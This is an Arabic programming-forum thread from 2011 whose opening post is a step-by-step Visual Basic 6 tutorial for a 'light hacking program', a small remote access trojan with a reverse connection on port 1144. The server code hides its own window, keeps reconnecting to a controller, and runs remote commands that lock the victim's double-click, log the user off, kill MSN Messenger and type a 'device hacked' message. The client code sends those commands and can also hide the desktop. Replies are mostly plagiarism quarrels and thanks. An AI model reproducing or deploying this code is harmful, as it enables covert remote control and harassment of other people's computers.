[ Visual Basic 6 ] شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول - نقطة التطوير
دخول
×

حسابٌ واحد لجميع خدماتنا !





إنشاء حساب
نقطة التطوير - dev-point.com











 تم تحميل الصفحة في 1,5691928 ثانية


شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 03:07 PM بواسطة 1 1



السلام عليكم



شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق
و البورت هو 1144
نبدا بالسرفر

نضيف 2 تايمر + اداة الونسوك مهمة جدا في برنامج الاختراق




في الفورم :
كود:
Private Sub Form_Load()
Hide 'اخفاء الفورم
End Sub

كود:
Private Sub Timer1_Timer()
If w.State <> 7 Then
w.Close ' 
w.Connect "127.0.0.1", 1144 
End If '
End Sub

Private Sub Timer2_Timer()
SetDoubleClickTime 1 ' اغلاق الدبل كليك
End Sub

كود:
Private Sub w_DataArrival(ByVal bytesTotal As Long)
Dim cmd As String '
w.GetData cmd 'جلب البيانات
Select Case cmd 'ترجمة المتغير
الكود تابع :

كود:
Case "bbb"
Beep 'اصدار صوت

Case "unlock" 'فتح الدبل كليك
SetDoubleClickTime 0 ' 
Timer2 = False
Case "lock" 'اغلاق الدبل كليك
Timer2 = True 'تفعيل التايمر لغلق الدبل كليك

Case "not"
****************l "notepad.exe", vbMaximizedFocus 'لتشغيل المكرة عن طريق الدوس

Case "logo"
****************l "logoff"
'تسجيل الخروج
Case "endd"
End 'اغلاق السرفر

Case "ssd"
SendKeys "&#202;&#227; &#199;&#206;&#202;&#209;&#199;&#222; &#199;&#225;&#204;&#229;&#199;&#210;" & Chr(13)
'ارسال جملة ][ تم اختراق الجهاز هه ][ للنافدة المفتوحة


Case "msn"
On Error Resume Next
****************l "taskkill /f /im msnmsgr.exe", vbHide

Case Else
MsgBox cmd, vbInformation, "note"
' عرض النص بمربع رساله
End Select
اغلاق الجملة

End Sub
نعمل الان العميل :




نضيف في الجنرال :
كود:
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Public Sub OpenCDDriveDoor(ByVal State As Boolean)
If State = True Then
Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&)
Else
Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&)
End If
End Sub
في امر فتح المفكرة :

كود:
Private Sub Command1_Click()
On Error Resume Next
w.SendData "not"
End Sub
كود:
كود اغلاق الميسنجر :
كود:
On Error Resume Next
w.SendData "msn"
في زر اخفاء سطح المكتب :

كود:
Dim hWnd As Long
    hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
    ShowWindow hWnd, 0
كود اضهار سطح المكتب :

كود:
Dim hWnd As Long
    hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
    ShowWindow hWnd, 5
في زر ارسال صوت

كود:
On Error Resume Next
w.SendData "bbb"
يا جماعة هاذا الامر مهم w.SendData "bbb" وهو يعني ارسال امر

في زر فتح الدبل كلك :

كود:
On Error Resume Next
w.SendData "unlock"
في زر الخروج :

كود:
On Error Resume Next
w.SendData "logo"
في زر اغلاق السرفر :

كود:
On Error Resume Next
w.SendData "endd"
في زر تجربة رسالة :

كود:
MsgBox Text1, vbInformation, "note"
في زر ارسال رسالة :

كود:
On Error Resume Next
w.SendData "" & Text1
في زر افراغ الرسالة :

كود:
Dim i As Integer
For i = 0 To Me.Controls.Count - 1
If TypeOf Me.Controls(i) Is TextBox Then
Me.Controls(i).Text = ""
End If
Next
2 - نعمل فورم للتبليغ :

نضيف لابل + تيمر

نضيف في الابل :

كود:
Form1.Show
Unload Me
وفي التيمر :

كود:
Form1.Show: Unload Me
لتحميل السورس : http://www.seed-share.com/c5dflj2ck93n

عندما اري انفعالاتكم مع الموضوع ساضع انشاء الله الدرس الثاني

تحياتي



love powermove
موقوف لمخالفة الشروط
 

المشاركات
2,288

+التقييم
1404


العمر

الاقامة


80641




love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً



رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 04:23 PM بواسطة 1 2
سورس مسروق مني وكاتب من برمجتك



Ďŕ.ŤřőЈàή
VIP DeveloPer
 
الصورة الرمزية Ďŕ.ŤřőЈàή
 

المشاركات
2,889

+التقييم
4953


العمر
8

الاقامة


نظام التشغيل
Windows XP

81427



Torjan55


Ďŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond repute

Ďŕ.ŤřőЈàή غير متواجد حالياً



رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 04:28 PM بواسطة 1 3
الموضوع
برنامج يدعم الاتصال العكسي
هوا موضوع قديم شوي 2008
بس مشكور لشرحك

وجاري تقييمك



Ďŕ.ŤřőЈàή
VIP DeveloPer
 
الصورة الرمزية Ďŕ.ŤřőЈàή
 

المشاركات
2,889

+التقييم
4953


العمر
8

الاقامة


نظام التشغيل
Windows XP

81427



Torjan55


Ďŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond repute

Ďŕ.ŤřőЈàή غير متواجد حالياً



رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 04:32 PM بواسطة 1 4

سورس مسروق مني وكاتب من برمجتك


اذآ الكلام صحيح
ياصاحب الموضوع :|
حرآم وربي ، ع الآقل اذكر الحقوق } ..





zFahad
.:: Fahad Al-Mutairi ::.
 

المشاركات
1,338

+التقييم
6561


العمر

الاقامة


106607




zFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond repute

zFahad غير متواجد حالياً



رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 07:05 PM بواسطة 1 5

المشاركة الأصلية كتبت بواسطة torjan مشاهدة المشاركة

سورس مسروق مني وكاتب من برمجتك
لا ليس هو تاكد حبيبي



love powermove
موقوف لمخالفة الشروط
 

المشاركات
2,288

+التقييم
1404


العمر

الاقامة


80641




love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً



رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 07:08 PM بواسطة 1 6

المشاركة الأصلية كتبت بواسطة ميمون هكر مشاهدة المشاركة



اذآ الكلام صحيح
ياصاحب الموضوع :|
حرآم وربي ، ع الآقل اذكر الحقوق } ..


قلت من برمجتي



love powermove
موقوف لمخالفة الشروط
 

المشاركات
2,288

+التقييم
1404


العمر

الاقامة


80641




love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً



رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 07:11 PM بواسطة 1 7
يعجبني ابداعك

بانتضار الدرس الثاني



bboy mitche
Beginner Developer
 

المشاركات
13

+التقييم
20


العمر

الاقامة


108474




bboy mitche is on a distinguished road

bboy mitche غير متواجد حالياً



رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 07:13 PM بواسطة 1 8

المشاركة الأصلية كتبت بواسطة bboy mitche مشاهدة المشاركة

يعجبني ابداعك

بانتضار الدرس الثاني
انشاء الله



love powermove
موقوف لمخالفة الشروط
 

المشاركات
2,288

+التقييم
1404


العمر

الاقامة


80641




love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً



رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 07:29 PM بواسطة 1 9
مشكووووور اخي جاري تجريبه



hanixpo
Developer
 
الصورة الرمزية hanixpo
 

المشاركات
201

+التقييم
654


العمر

الاقامة


102575




hanixpo is a splendid one to beholdhanixpo is a splendid one to beholdhanixpo is a splendid one to beholdhanixpo is a splendid one to beholdhanixpo is a splendid one to beholdhanixpo is a splendid one to behold

hanixpo غير متواجد حالياً



رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول اضيفت بتاريخ 07-Apr-2011, 07:35 PM بواسطة 1 10

المشاركة الأصلية كتبت بواسطة hanixpo مشاهدة المشاركة

مشكووووور اخي جاري تجريبه
pas de koi frére



love powermove
موقوف لمخالفة الشروط
 

المشاركات
2,288

+التقييم
1404


العمر

الاقامة


80641




love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً




مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)
الاتصال, الاول, الدرس, العكسي, اختراق, برنامج, يدعم, خفيف, حقائق


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع إبحث في الموضوع
إبحث في الموضوع:

البحث المتقدم
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is في
كود HTML معطلة
Trackbacks are معطلة
Pingbacks are معطلة
Refbacks are معطلة





خدماتنا

Devpoint community
Devpoint cloud
Devpoint HUB
Devpoint TV
شركة نقطة التطوير للخدمات البرمجية

صفحات مهمة

خصوصية الموقع NEW
الحسابات الموثوقة
نظام ترقية العضو

نقطة التطوير

About Devpoint LLC
[email protected]

الدعم الفني

Sitemap
/dev.point.page
@devpointcom

v4

Devpoint community by Devpoint LLC
Development point © 2015
System by vBulletin Inc
Build: 4.1.2.03
الساعة الآن 09:57 PM



SEO by vBSEO 3.6.0 PL2 ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185